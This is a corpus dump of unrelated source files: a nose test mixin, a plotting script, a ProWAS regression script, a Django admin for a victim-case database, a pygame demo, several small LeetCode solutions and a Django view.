setUp(self):\n super(SplitTestCase, self).setUp()\n name = re.sub('\\.phase\\d+.', '\\._\\.', self.id())\n cl = self.get_data(CHECKLIST)\n cl.setdefault(name, Options())\n self.c = cl[name]\n if self.c._has_failed:\n raise SkipTest('Test failed in preceding phase. Skipping.')\n\n def tearDown(self):\n try:\n self.c._has_failed = self.has_failed()\n finally:\n super(SplitTestCase, self).tearDown()\n\n def assertDictContainsSubset(self, expected, actual, msg=None, overlook=None):\n if overlook:\n expected = expected.copy()\n assert isinstance(overlook, (tuple, list))\n list(map(expected.pop, [x for x in overlook if x in expected]))\n super(SplitTestCase, self).assertDictContainsSubset(expected, actual, msg)\n","sub_path":"f5test/utils/mixins/nose.py","file_name":"nose.py","file_ext":"py","file_size_in_byte":10982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"525403108","text":"import hdf5storage as h\nimport numpy as np\nimport matplotlib.pyplot as p\nimport matplotlib\n\nmatplotlib.rcParams['text.usetex']=True\nmatplotlib.rcParams['mathtext.fontset'] = 'cm'\np.rc('font', **{'family': 'serif', 'serif': ['cmr10']})\ntitlefont = {'fontsize':12}\nlabelfont = {'fontsize':10}\ntickfont = {'fontsize':8}\n\nf=h.loadmat('dg_correction3rd.mat')#dg_eulerian_data.mat')\n#x=f['x']\n#y=f['y']\ns1=f['s1'][:,:,1]\nl1=f['l1'][:,:,1]\nl2=f['l2'][:,:,1]\ndim = s1.shape\nx=np.linspace(0,2,dim[1])\ny=np.linspace(0,1,dim[0])\nx,y = np.meshgrid(x,y)\nt0 = 0\ntf = -1\ntime = np.linspace(t0,tf,101)\nf=h.loadmat('dg_sigma_big.mat')\nsig=f['sigma']\n\"\"\"\ni = 31\np.close('all')\nwidth =5+3/8\np.figure(figsize=(width,width*1.5))\np.subplot(311)\nft=sig[i,:,:]\np.contourf(x,y,ft,levels=linspace(ft.min(),ft.max(),301))\np.xticks([])\n#p.xlabel('x',**labelfont)\np.ylabel('y',**labelfont)\ncbar=p.colorbar() \ncbar.set_ticks(linspace(0,1,6))\n\np.subplot(312)\napprox=-s1-time[i]*c1\np.contourf(x,y,approx,levels=linspace(approx.min(),approx.max(),301))\np.ylabel('y',**labelfont)\np.xlabel('x',**labelfont)\ncbar=p.colorbar() \ncbar.set_ticks(linspace(0,1,6))\n\np.subplot(313)\napprox=-s1\np.contourf(x,y,approx,levels=linspace(approx.min(),approx.max(),301))\np.xticks([])\np.ylabel('y',**labelfont)\ncbar=p.colorbar() \ncbar.set_ticks(linspace(0,1,6))\n\np.savefig('dg_ftle_vs_s1_v2.png', transparent=False, bbox_inches='tight',pad_inches=0.03,dpi=300)\n\n\n\"\"\"\ni = 31\np.close('all')\nwidth =5+3/8\np.figure(figsize=(width,0.5*width/3))\np.subplot(121)\nft=sig[:,:,i]\np.contourf(x,y,ft,levels=np.linspace(ft.min(),ft.max(),301))\np.xlabel('x',**labelfont)\np.ylabel('y',**labelfont)\ncbar=p.colorbar() \ncbar.set_ticks(np.linspace(0,1,6))\n#cbar.set_yticklabels(linspace(0,1,11))\np.subplot(122)\napprox=-s1-time[i]*(-s1**2+0.5*l1)#+time[i]**2*(4/3*s1**3-s1*l1+0.25*l2)\np.contourf(x,y,approx,levels=np.linspace(approx.min(),approx.max(),301))\np.yticks([])\np.xlabel('x',**labelfont)\ncbar=p.colorbar() \ncbar.set_ticks(np.linspace(0,1,6))\n\n\n\np.savefig('dg_ftle_vs_s1.png', transparent=False, bbox_inches='tight',pad_inches=0.03,dpi=300)\n#\"\"\"","sub_path":"2dDouble_gyre/plot_dg_ftle_s1_4paper.py","file_name":"plot_dg_ftle_s1_4paper.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"569509291","text":"from pyProWAS import *\nimport os\nimport numpy as np\nimport pandas as pd\n\nreg_type = 0\nstr_reg_type = \"log\"\npath = \"/nfs/share5/clineci/DownSyndrome/experiments/prowas_test/\"\nfilename = \"cpts_age.csv\"\ngroupfile = \"group.csv\"\nphewas_cov = ''\noutfile = 'feature_matrix.csv'\ncovariates = 'SEX'\nstr_thresh_type = \"fdr\"\nthresh_type = 1\n\n\"\"\"\n# gen_ftype = reg_type\nphenotypes = get_input(path, filename,reg_type)\ngenotypes = get_group_file(path, groupfile)\nfm = generate_feature_matrix(genotypes, phenotypes, reg_type)\n\nprint(\"Saving feature matrices to %s\" % (path + outfile))\n\nnp.savetxt(path + 'agg_measures_' + outfile, fm[0],delimiter=',')\nprint(\"...\")\nnp.savetxt(path + 'icd_age_' + outfile, fm[1],delimiter=',')\nprint(\"...\")\nnp.savetxt(path + 'phewas_cov_' + outfile, fm[2],delimiter=',')\n\nregressions = run_phewas(fm, genotypes, covariates,reg_type)\n\nprint(\"Saving regression data to %s\" % (path + 'regressions.csv'))\nheader = ','.join(['str_reg_type', str_reg_type, 'group', groupfile]) + '\\n'\nf = open(os.sep.join([path, 'regressions.csv']), 'w')\nf.write(header)\nregressions.to_csv(f,index=False)\nf.close()\n\n\"\"\"\n\nregressions = pd.read_csv(path + 'regressions.csv',dtype={'PheWAS Code':str},skiprows=1)\n\nprint(\"creating plots\")\n\n# Check if an imbalance will be used\n\nimbalances = get_imbalances(regressions)\n\ny = regressions['\"-log(p)\"']\npvalues = regressions['p-val'].values\n\n# Get the threshold type\nif thresh_type == 0:\n thresh = get_bon_thresh(pvalues, 0.05)\nelif thresh_type == 1:\n thresh = get_fdr_thresh(pvalues, 0.05)\n\nthresh = 0.5\nprint('%s threshold: %0.5f'%(str_thresh_type,thresh))\n\ntry:\n regressions[['lowlim', 'uplim']] = regressions['Conf-interval beta'].str.split(',', expand=True)\n regressions['uplim'] = regressions.uplim.str.replace(']', '')\n regressions['lowlim'] = regressions.lowlim.str.replace('[', '')\n regressions = regressions.astype(dtype={'uplim':float,'lowlim':float})\n yb = regressions[['beta', 'lowlim', 'uplim']].values\n yb = yb.astype(float)\nexcept Exception as e:\n print('Error reading regression file:')\n print(e)\n sys.exit()\n\nsave = path + 'plot.png'\nfile_name, file_format = os.path.splitext(save)\nsaveb = file_name + '_beta' + file_format\nfile_format = file_format[1:] # remove '.' from from first index\nprint(\"Saving plot to %s\" % (save))\n\nplot_manhattan(regressions, -math.log10(thresh), save=save, save_format=file_format)\nplot_odds_ratio(regressions, -math.log10(thresh), save=saveb, save_format=file_format)","sub_path":"pyPheWAS/prowas_reg.py","file_name":"prowas_reg.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"290781741","text":"from django.contrib import admin\nfrom .models import *\nfrom import_export.admin import ImportExportModelAdmin\nfrom import_export import fields, resources, widgets\nfrom django.template import defaultfilters\nfrom django.contrib.humanize.templatetags import humanize\n\n\nclass PaisAdmin(admin.ModelAdmin):\n search_fields = ('nombre','codigo')\n list_display = ('nombre', 'codigo')\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre', 'codigo')\n }),\n )\n\nclass DepartamentoAdmin(admin.ModelAdmin):\n search_fields = ('nombre','codigo')\n list_display = ('nombre', 'codigo','pais')\n list_filter = ('pais',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre', 'codigo','pais')\n }),\n )\n\nclass CiudadAdmin(admin.ModelAdmin):\n search_fields = ('nombre','codigo')\n list_display = ('nombre', 'codigo','departamento')\n list_filter = ('departamento',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre', 'codigo','departamento')\n }),\n )\n\nclass ComunaAdmin(admin.ModelAdmin):\n search_fields = ('nombre',)\n list_display = ('nombre',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre',)\n }),\n )\n\nclass BarrioAdmin(admin.ModelAdmin):\n search_fields = ('nombre','codigo')\n list_display = ('nombre','codigo','comuna')\n list_filter = ('comuna',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre','codigo','comuna')\n }),\n )\n\nclass RazaAdmin(admin.ModelAdmin):\n search_fields = ('nombre',)\n list_display = ('nombre',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre',)\n }),\n )\n\nclass GrupoPoblacionalAdmin(admin.ModelAdmin):\n search_fields = ('nombre',)\n list_display = ('nombre','activo')\n list_filter = ('activo',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre','activo')\n }),\n )\n\nclass TipoDocumentoAdmin(admin.ModelAdmin):\n search_fields = ('nombre','descripcion')\n list_display = ('nombre','descripcion')\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre','descripcion')\n }),\n )\n\nclass EntidadSaludAdmin(admin.ModelAdmin):\n search_fields = ('nombre','codigo')\n list_display = ('nombre','codigo','activo')\n list_filter = ('activo',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre','codigo','activo')\n }),\n )\n\nclass TipoDiscapacidadAdmin(admin.ModelAdmin):\n search_fields = ('nombre',)\n list_display = ('nombre',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre',)\n }),\n )\n\nclass NivelEducativoAdmin(admin.ModelAdmin):\n search_fields = ('nombre',)\n list_display = ('nombre',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre',)\n }),\n )\n\nclass CondicionSocieconomicaAdmin(admin.ModelAdmin):\n search_fields = ('nombre',)\n list_display = ('nombre',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre',)\n }),\n )\n\nclass PersonaAdmin(admin.ModelAdmin): ##############\n search_fields = ('nombre1','nombre2','apellido1','apellido2','numero_documento')\n list_display = ('tipo_documento','numero_documento','nombre1','apellido1',)\n list_filter = ('tipo_documento','genero','raza',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre1','nombre2','apellido1','apellido2','tipo_documento','numero_documento','genero','raza')\n }),\n )\n\nclass NombreBusquedaAdmin(admin.ModelAdmin):\n search_fields = ('nombre_completo','persona')\n list_display = ('persona','nombre_completo')\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('persona','nombre_completo')\n }),\n )\n\nclass TipoSimpleAdmin(admin.ModelAdmin):\n search_fields = ('nombre',)\n list_display = ('nombre',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('nombre',)\n }),\n )\n\nclass ReligionAdmin(admin.ModelAdmin):\n pass\n\nclass ParentescoAdmin(admin.ModelAdmin):\n pass\n\nclass TipoViolenciaAdmin(admin.ModelAdmin):\n pass\n\nclass FactorDeterminanteAdmin(admin.ModelAdmin):\n pass\n\nclass InstitucionRutaAtencionAdmin(admin.ModelAdmin):\n pass\n\nclass TipoAdiccionAdmin(admin.ModelAdmin):\n pass\n\nclass EstudioInformalAdmin(admin.ModelAdmin):\n pass\n\nclass MecanismoAgresionAdmin(admin.ModelAdmin):\n pass\n\nclass ExtraPersonaAdmin(admin.ModelAdmin):\n search_fields = ('persona','email')\n list_display = ('persona', 'email', 'telefono', 'celular', 'pais', 'ciudad')\n list_filter = ('entidad_salud', 'tipo_discapacidad', 'estrato','departamento','ciudad','barrio','religion',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('persona', 'afiliacion_salud', 'entidad_salud', 'tipo_discapacidad', 'grado_discapacidad', 'condicion_socioeconomica',\n 'grupo_poblacional','orientacion_sexual','religion','movimiento_social','pais','departamento','ciudad','barrio','direccion',\n 'estrato','telefono','celular','email')\n }),\n )\n\nclass EstudioAdmin(admin.ModelAdmin):\n search_fields = ('titulo','persona')\n list_display = ('persona','tipo', 'titulo', 'institucion')\n list_filter = ('institucion','tipo')\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('persona','tipo', 'titulo', 'institucion', 'anios_cursados', 'experiencia_meses')\n }),\n )\n\nclass AdiccionAdmin(admin.ModelAdmin):\n search_fields = ('persona','tipo')\n list_display = ('persona','tipo','frecuencia')\n list_filter = ('tipo',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('persona','tipo','frecuencia','observacion')\n }),\n )\n\nclass CasoViolenciaAdmin(admin.ModelAdmin):\n search_fields = ('victima','agresor')\n list_display = ('victima','agresor','agresor_parentesco','tipo_violencia','descripcion_situacion')\n list_filter = ('agresor_parentesco','tipo_violencia')\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('victima','agresor','agresor_parentesco','tipo_violencia','factor_determinante','descripcion_situacion','estado_fisico','estado_emocional','remitente_tipo','remitente_parentesco','remitente_nombre','creador','mecanismo_agresion')\n }),\n )\n\nclass ParienteAdmin(admin.ModelAdmin):\n search_fields = ('persona','caso')\n list_display = ('persona','caso','parentesco','ingresa')\n list_filter = ('parentesco',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('persona','caso','parentesco','ingresa')\n }),\n )\n\nclass RutaAtencionAdmin(admin.ModelAdmin):\n search_fields = ('fecha','caso')\n list_display = ('fecha','caso','institucion','observacion')\n list_filter = ('institucion',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('fecha','caso','institucion','observacion')\n }),\n )\n\nclass SeguimientoAdmin(admin.ModelAdmin):\n search_fields = ('categoria','caso')\n list_display = ('categoria','caso','tipo','descripcion')\n list_filter = ('tipo',)\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('categoria','caso','tipo','descripcion','usuario')\n }),\n )\n\nclass AdjuntoAdmin(admin.ModelAdmin):\n search_fields = ('seguimiento','archivo')\n list_display = ('seguimiento','archivo')\n\n fieldsets = (\n (\"Informacion Basica\", {\n 'fields': ('seguimiento','archivo')\n }),\n )\n\nadmin.site.register(Pais, PaisAdmin)\nadmin.site.register(Departamento, DepartamentoAdmin)\nadmin.site.register(Ciudad, CiudadAdmin)\nadmin.site.register(Comuna, ComunaAdmin)\nadmin.site.register(Barrio, BarrioAdmin)\nadmin.site.register(Raza, RazaAdmin)\nadmin.site.register(GrupoPoblacional, GrupoPoblacionalAdmin)\nadmin.site.register(TipoDocumento, TipoDocumentoAdmin)\nadmin.site.register(EntidadSalud, EntidadSaludAdmin)\nadmin.site.register(TipoDiscapacidad, TipoDiscapacidadAdmin)\nadmin.site.register(NivelEducativo, NivelEducativoAdmin)\nadmin.site.register(CondicionSocioeconomica, CondicionSocieconomicaAdmin)\nadmin.site.register(Persona, PersonaAdmin)\nadmin.site.register(NombreBusqueda, NombreBusquedaAdmin)\n\n#admin.site.register(TipoSimple, TipoSimpleAdmin)\nadmin.site.register(Religion, ReligionAdmin)\nadmin.site.register(Parentesco, ParentescoAdmin)\nadmin.site.register(TipoViolencia, TipoViolenciaAdmin)\nadmin.site.register(FactorDeterminante, FactorDeterminanteAdmin)\nadmin.site.register(InstitucionRutaAtencion, InstitucionRutaAtencionAdmin)\nadmin.site.register(TipoAdiccion, TipoAdiccionAdmin)\nadmin.site.register(EstudioInformal, EstudioInformalAdmin)\nadmin.site.register(MecanismoAgresion, MecanismoAgresionAdmin)\n#\nadmin.site.register(ExtraPersona, ExtraPersonaAdmin)\nadmin.site.register(Estudio, EstudioAdmin)\nadmin.site.register(Adiccion, AdiccionAdmin)\nadmin.site.register(CasoViolencia, CasoViolenciaAdmin)\nadmin.site.register(Pariente, ParienteAdmin)\nadmin.site.register(RutaAtencion, RutaAtencionAdmin)\nadmin.site.register(Seguimiento, SeguimientoAdmin)\nadmin.site.register(Adjunto, AdjuntoAdmin)\n\n# Register your models here.\n","sub_path":"dubs/applications/mujer_victima/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":9346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"156946502","text":"class Solution:\n def setZeroes(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: void Do not return anything, modify matrix in-place instead.\n \"\"\"\n height = len(matrix)\n width = len(matrix[0])\n for row in matrix:\n for column in range(width):\n if not row[column]:\n row[column] = None\n for row in range(height):\n for column in range(width):\n if matrix[row][column] == None:\n matrix[row][column] = 0\n for row1 in range(height):\n if matrix[row1][column] != None:\n matrix[row1][column] = 0\n for column1 in range(width):\n if matrix[row][column1] != None:\n matrix[row][column1] = 0\n","sub_path":"TangYuCreated/leetcode/Python/中等题目/73.py","file_name":"73.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"406373661","text":"#Rodrigo Alvarez, 57008 II\nimport math\n\n#En esta funcion se verifica el valor del modulo de %, para asignar las bases del sistema hexadecimal.\n\ndef mod_to_hexa(mod):\n if mod == 10:\n return 'A'\n elif mod == 11:\n return 'B'\n elif mod == 12:\n return 'C'\n elif mod == 13:\n return 'D'\n elif mod == 14:\n return 'E'\n elif mod == 15:\n return 'F'\n else:\n return str(mod)\n\n#En esta funcion se recibe un numero decimal y se devuelve el mismo numero pero en base hexadecimal\ndef decimal_to_hexa(decimal):\n hexadecimal = ''\n while True:\n if (decimal//16)//16 == 0:\n mod = decimal%16\n decimal = decimal//16\n if decimal != 0:\n hexadecimal = mod_to_hexa(decimal) + mod_to_hexa(mod)+ hexadecimal \n elif decimal == 0:\n hexadecimal = mod_to_hexa(mod) + hexadecimal\n break\n mod = decimal%16\n decimal = decimal//16\n hexadecimal =mod_to_hexa(mod)+ hexadecimal \n return hexadecimal\n","sub_path":"57008-Alvarez Rodrigo/Parcial_01/decimal_to_hexa.py","file_name":"decimal_to_hexa.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"52738978","text":"import pygame\nimport time\n\n\nWHITE = (255, 255, 255)\nBLUE = (0, 128, 255)\n\nsize = (700, 500) # window size in pixels\nscreen = pygame.display.set_mode(size)\npygame.display.set_caption(\"Hello World\")\n\nscreen.fill(WHITE)\npygame.draw.rect(screen, BLUE, pygame.Rect(30, 30, 60, 60))\npygame.display.flip()\n\ndone = False\nwhile not done:\n for event in pygame.event.get():\n if event.type == pygame.QUIT: # quit event will happen when the window is closed\n done = True\n\n #time.sleep(1) # sleep for 1 second before going back to top of loop\n","sub_path":"HelloWorld/HelloWorld.py","file_name":"HelloWorld.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"586436042","text":"#\n# @lc app=leetcode.cn id=7 lang=python3\n#\n# [7] 整数反转\n#\n# https://leetcode-cn.com/problems/reverse-integer/description/\n#\n# algorithms\n# Easy (33.62%)\n# Likes: 1734\n# Dislikes: 0\n# Total Accepted: 293.8K\n# Total Submissions: 869.5K\n# Testcase Example: '123'\n#\n# 给出一个 32 位的有符号整数,你需要将这个整数中每位上的数字进行反转。\n# \n# 示例 1:\n# \n# 输入: 123\n# 输出: 321\n# \n# \n# 示例 2:\n# \n# 输入: -123\n# 输出: -321\n# \n# \n# 示例 3:\n# \n# 输入: 120\n# 输出: 21\n# \n# \n# 注意:\n# \n# 假设我们的环境只能存储得下 32 位的有符号整数,则其数值范围为 [−2^31,  2^31 − 1]。请根据这个假设,如果反转后整数溢出那么就返回 0。\n# \n#\n\n# @lc code=start\nclass Solution:\n def reverse(self, x: int) -> int:\n min_value, max_value = -2**31, 2**31-1\n res = 0\n while x:\n if res > max_value // 10 or res < min_value // 10 + 1:\n return 0\n pop = x % 10\n if x < 0 and pop > 0:\n pop -= 10 # python负数取余问题\n\n x = (x - pop) // 10\n res = res * 10 + pop\n return res\n\n# @lc code=end\n\n","sub_path":"7.整数反转.py","file_name":"7.整数反转.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"634063936","text":"from django.shortcuts import render\nfrom Django_Web.models import ArtiInfo\nfrom django.core.paginator import Paginator\n# Create your views here.\ndef index(request):\n limit=5\n art_info=ArtiInfo.objects\n paginator=Paginator(art_info,limit)\n page=request.GET.get('page',1)\n print(request)\n print(request.GET)\n loaded=paginator.page(page)\n context={\n 'ArtiInfo':loaded\n # 'title':art_info[1].title,\n # 'des':art_info[1].desc,\n # 'score':art_info[1].scores,\n # 'tags':art_info[1].tags,\n }\n return render(request, 'semanticwb.html', context)","sub_path":"Django_Web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}